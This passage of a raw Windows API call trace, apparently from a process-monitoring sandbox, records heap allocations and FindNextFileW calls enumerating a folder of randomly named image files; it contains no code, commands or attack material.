ftLastWriteTime.dwHighDateTime=0x1d4d00f, nFileSizeHigh=0x0, nFileSizeLow=0x157e7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="d2 hDM8KirVN.gif", cAlternateFileName="D2HDM8~1.GIF")) returned 1 [0148.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0148.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.103] GetLastError () returned 0x0 [0148.103] SetLastError (dwErrCode=0x0) [0148.103] GetLastError () returned 0x0 [0148.103] SetLastError (dwErrCode=0x0) [0148.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.103] GetLastError () returned 0x0 [0148.103] SetLastError (dwErrCode=0x0) [0148.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e8c8 [0148.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c8 | out: hHeap=0x570000) returned 1 [0148.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0148.103] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0148.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0148.103] GetLastError () returned 0x0 [0148.103] SetLastError (dwErrCode=0x0) [0148.103] GetLastError () returned 0x0 [0148.103] SetLastError (dwErrCode=0x0) [0148.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0148.103] GetLastError () returned 0x0 [0148.104] SetLastError (dwErrCode=0x0) [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0148.104] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a819b10, ftCreationTime.dwHighDateTime=0x1d4c89b, ftLastAccessTime.dwLowDateTime=0x4fcbda60, ftLastAccessTime.dwHighDateTime=0x1d4cab8, ftLastWriteTime.dwLowDateTime=0x4fcbda60, ftLastWriteTime.dwHighDateTime=0x1d4cab8, nFileSizeHigh=0x0, nFileSizeLow=0x5900, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="dfa -XDcno_TAnsh.gif", cAlternateFileName="DFA-XD~1.GIF")) returned 1 [0148.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0148.104] GetLastError () returned 0x0 [0148.104] SetLastError (dwErrCode=0x0) [0148.104] GetLastError () returned 0x0 [0148.104] SetLastError (dwErrCode=0x0) [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0148.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0148.104] GetLastError () returned 0x0 [0148.104] SetLastError (dwErrCode=0x0) [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0148.104] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7537cf0, ftCreationTime.dwHighDateTime=0x1d4c724, ftLastAccessTime.dwLowDateTime=0xd2eb5190, ftLastAccessTime.dwHighDateTime=0x1d4cbea, ftLastWriteTime.dwLowDateTime=0xd2eb5190, ftLastWriteTime.dwHighDateTime=0x1d4cbea, nFileSizeHigh=0x0, nFileSizeLow=0xe825, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DkaDJKJkiLuj.gif", cAlternateFileName="DKADJK~1.GIF")) returned 1 [0148.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.104] GetLastError () returned 0x0 [0148.104] SetLastError (dwErrCode=0x0) [0148.104] GetLastError () returned 0x0 [0148.104] SetLastError (dwErrCode=0x0) [0148.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0148.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.105] GetLastError () returned 0x0 [0148.105] SetLastError (dwErrCode=0x0) [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be2c0 [0148.105] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88acb3a0, ftCreationTime.dwHighDateTime=0x1d4d570, ftLastAccessTime.dwLowDateTime=0xde8be520, ftLastAccessTime.dwHighDateTime=0x1d4c6d9, ftLastWriteTime.dwLowDateTime=0xde8be520, ftLastWriteTime.dwHighDateTime=0x1d4c6d9, nFileSizeHigh=0x0, nFileSizeLow=0x7513, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="dWXiA31qMmQxJZ8.png", cAlternateFileName="DWXIA3~1.PNG")) returned 1 [0148.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.105] GetLastError () returned 0x0 [0148.105] SetLastError (dwErrCode=0x0) [0148.105] GetLastError () returned 0x0 [0148.105] SetLastError (dwErrCode=0x0) [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.105] GetLastError () returned 0x0 [0148.105] SetLastError (dwErrCode=0x0) [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0148.105] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02fd890, ftCreationTime.dwHighDateTime=0x1d4d46a, ftLastAccessTime.dwLowDateTime=0x96d2b090, ftLastAccessTime.dwHighDateTime=0x1d4d333, ftLastWriteTime.dwLowDateTime=0x96d2b090, ftLastWriteTime.dwHighDateTime=0x1d4d333, nFileSizeHigh=0x0, nFileSizeLow=0x16375, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ffJL5Y.bmp", cAlternateFileName="")) returned 1 [0148.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0148.105] GetLastError () returned 0x0 [0148.105] SetLastError (dwErrCode=0x0) [0148.105] GetLastError () returned 0x0 [0148.105] SetLastError (dwErrCode=0x0) [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0148.106] GetLastError () returned 0x0 [0148.106] SetLastError (dwErrCode=0x0) [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beaa8 [0148.106] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c0130, ftCreationTime.dwHighDateTime=0x1d4d263, ftLastAccessTime.dwLowDateTime=0xc8d3e330, ftLastAccessTime.dwHighDateTime=0x1d4cdd3, ftLastWriteTime.dwLowDateTime=0xc8d3e330, ftLastWriteTime.dwHighDateTime=0x1d4cdd3, nFileSizeHigh=0x0, nFileSizeLow=0x10603, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="FGjN.gif", cAlternateFileName="")) returned 1 [0148.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0148.106] GetLastError () returned 0x0 [0148.106] SetLastError (dwErrCode=0x0) [0148.106] GetLastError () returned 0x0 [0148.106] SetLastError (dwErrCode=0x0) [0148.106] GetLastError () returned 0x0 [0148.106] SetLastError (dwErrCode=0x0) [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0148.106] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa965ed70, ftCreationTime.dwHighDateTime=0x1d4d1cc, ftLastAccessTime.dwLowDateTime=0xc79519d0, ftLastAccessTime.dwHighDateTime=0x1d4ce50, ftLastWriteTime.dwLowDateTime=0xc79519d0, ftLastWriteTime.dwHighDateTime=0x1d4ce50, nFileSizeHigh=0x0, nFileSizeLow=0x168bf, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gbYh3XzG4z 9S.bmp", cAlternateFileName="GBYH3X~1.BMP")) returned 1 [0148.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0148.106] GetLastError () returned 0x0 [0148.106] SetLastError (dwErrCode=0x0) [0148.106] GetLastError () returned 0x0 [0148.106] SetLastError (dwErrCode=0x0) [0148.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0148.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0148.106] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0148.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0148.107] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x763121b0, ftCreationTime.dwHighDateTime=0x1d4c766, ftLastAccessTime.dwLowDateTime=0xadcfd740, ftLastAccessTime.dwHighDateTime=0x1d4ccea, ftLastWriteTime.dwLowDateTime=0xadcfd740, ftLastWriteTime.dwHighDateTime=0x1d4ccea, nFileSizeHigh=0x0, nFileSizeLow=0xd608, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GC-hRBguzaXVSAOa.bmp", cAlternateFileName="GC-HRB~1.BMP")) returned 1 [0148.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.107] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.107] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0148.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.107] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0148.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0148.107] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a197fb0, ftCreationTime.dwHighDateTime=0x1d4d2d5, ftLastAccessTime.dwLowDateTime=0x3444e290, ftLastAccessTime.dwHighDateTime=0x1d4ca6e, ftLastWriteTime.dwLowDateTime=0x3444e290, ftLastWriteTime.dwHighDateTime=0x1d4ca6e, nFileSizeHigh=0x0, nFileSizeLow=0x548d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Gdcr9kY5tD.jpg", cAlternateFileName="GDCR9K~1.JPG")) returned 1 [0148.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0148.107] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.107] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0148.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0148.107] GetLastError () returned 0x0 [0148.107] SetLastError (dwErrCode=0x0) [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be478 [0148.108] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10d2ef0, ftCreationTime.dwHighDateTime=0x1d4ca05, ftLastAccessTime.dwLowDateTime=0x55b488a0, ftLastAccessTime.dwHighDateTime=0x1d4c8ce, ftLastWriteTime.dwLowDateTime=0x55b488a0, ftLastWriteTime.dwHighDateTime=0x1d4c8ce, nFileSizeHigh=0x0, nFileSizeLow=0x16d25, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gdRt_WCHPsCtQ.jpg", cAlternateFileName="GDRT_W~1.JPG")) returned 1 [0148.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0148.108] GetLastError () returned 0x0 [0148.108] SetLastError (dwErrCode=0x0) [0148.108] GetLastError () returned 0x0 [0148.108] SetLastError (dwErrCode=0x0) [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0148.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0148.108] GetLastError () returned 0x0 [0148.108] SetLastError (dwErrCode=0x0) [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0148.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0148.108] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc23e020, ftCreationTime.dwHighDateTime=0x1d4d19f, ftLastAccessTime.dwLowDateTime=0x4cd0fa90, ftLastAccessTime.dwHighDateTime=0x1d4cb60, ftLastWriteTime.dwLowDateTime=0x4cd0fa90, ftLastWriteTime.dwHighDateTime=0x1d4cb60, nFileSizeHigh=0x0, nFileSizeLow=0x14c0f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gO0-t4iZkLHjvVQbd6j.bmp", cAlternateFileName="GO0-T4~1.BMP")) returned 1 [0148.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0148.108] GetLastError () returned 0x0 [0148.108] SetLastError (dwErrCode=0x0) [0148.108] GetLastError () returned 0x0 [0148.108] SetLastError (dwErrCode=0x0) [0148.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0148.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0148.108] GetLastError () returned 0x0 [0148.108] SetLastError (dwErrCode=0x0) [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0148.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0148.109] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98f3df0, ftCreationTime.dwHighDateTime=0x1d4cb56, ftLastAccessTime.dwLowDateTime=0x9d34a5f0, ftLastAccessTime.dwHighDateTime=0x1d4d398, ftLastWriteTime.dwLowDateTime=0x9d34a5f0, ftLastWriteTime.dwHighDateTime=0x1d4d398, nFileSizeHigh=0x0, nFileSizeLow=0x182c2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="goFLFaLl_iq1NF.bmp", cAlternateFileName="GOFLFA~1.BMP")) returned 1 [0148.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.109] GetLastError () returned 0x0 [0148.109] SetLastError (dwErrCode=0x0) [0148.109] GetLastError () returned 0x0 [0148.109] SetLastError (dwErrCode=0x0) [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0148.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.109] GetLastError () returned 0x0 [0148.109] SetLastError (dwErrCode=0x0) [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0148.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0148.109] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1235190, ftCreationTime.dwHighDateTime=0x1d4cb49, ftLastAccessTime.dwLowDateTime=0x5ea7acb0, ftLastAccessTime.dwHighDateTime=0x1d4c821, ftLastWriteTime.dwLowDateTime=0x5ea7acb0, ftLastWriteTime.dwHighDateTime=0x1d4c821, nFileSizeHigh=0x0, nFileSizeLow=0x1fee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="HuwmknDJRqi.bmp", cAlternateFileName="HUWMKN~1.BMP")) returned 1 [0148.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0148.109] GetLastError () returned 0x0 [0148.109] SetLastError (dwErrCode=0x0) [0148.109] GetLastError () returned 0x0 [0148.109] SetLastError (dwErrCode=0x0) [0148.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0148.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0148.109] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bea50 [0148.110] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd5eda0, ftCreationTime.dwHighDateTime=0x1d4cb91, ftLastAccessTime.dwLowDateTime=0xfd96e070, ftLastAccessTime.dwHighDateTime=0x1d4ccfe, ftLastWriteTime.dwLowDateTime=0xfd96e070, ftLastWriteTime.dwHighDateTime=0x1d4ccfe, nFileSizeHigh=0x0, nFileSizeLow=0x5cf2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="IE7O79Tg8zUu.gif", cAlternateFileName="IE7O79~1.GIF")) returned 1 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.110] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.110] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0148.110] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94521050, ftCreationTime.dwHighDateTime=0x1d4c897, ftLastAccessTime.dwLowDateTime=0x3ad22e00, ftLastAccessTime.dwHighDateTime=0x1d4d334, ftLastWriteTime.dwLowDateTime=0x3ad22e00, ftLastWriteTime.dwHighDateTime=0x1d4d334, nFileSizeHigh=0x0, nFileSizeLow=0xf91e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="KP0u84bse5bC4ojl.bmp", cAlternateFileName="KP0U84~1.BMP")) returned 1 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0148.110] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0148.110] GetLastError () returned 0x0 [0148.110] SetLastError (dwErrCode=0x0) [0148.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0148.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0148.111] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1f4740, ftCreationTime.dwHighDateTime=0x1d4d52f, ftLastAccessTime.dwLowDateTime=0x604470b0, ftLastAccessTime.dwHighDateTime=0x1d4d4ee, ftLastWriteTime.dwLowDateTime=0x604470b0, ftLastWriteTime.dwHighDateTime=0x1d4d4ee, nFileSizeHigh=0x0, nFileSizeLow=0x182a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="kqXlzd8LIoC2.bmp", cAlternateFileName="KQXLZD~1.BMP")) returned 1 [0148.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.111] GetLastError () returned 0x0 [0148.111] SetLastError (dwErrCode=0x0) [0148.111] GetLastError () returned 0x0 [0148.111] SetLastError (dwErrCode=0x0) [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0148.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.111] GetLastError () returned 0x0 [0148.111] SetLastError (dwErrCode=0x0) [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0148.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0148.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0148.111] FindNextFileW (in: hFindFile=0x60ec28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e508950, ftCreationTime.dwHighDateTime=0x1d4c977, ftLastAccessTime.dwLowDateTime=0x6285ef20, ftLastAccessTime.dwHighDateTime=0x1d4cfb2, ftLastWriteTime.dwLowDateTime=0x6285ef20, ftLastWriteTime.dwHighDateTime=0x1d4cfb2, nFileSizeHigh=0x0, nFileSizeLow=0xbe4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LhOW8Pwt.png", 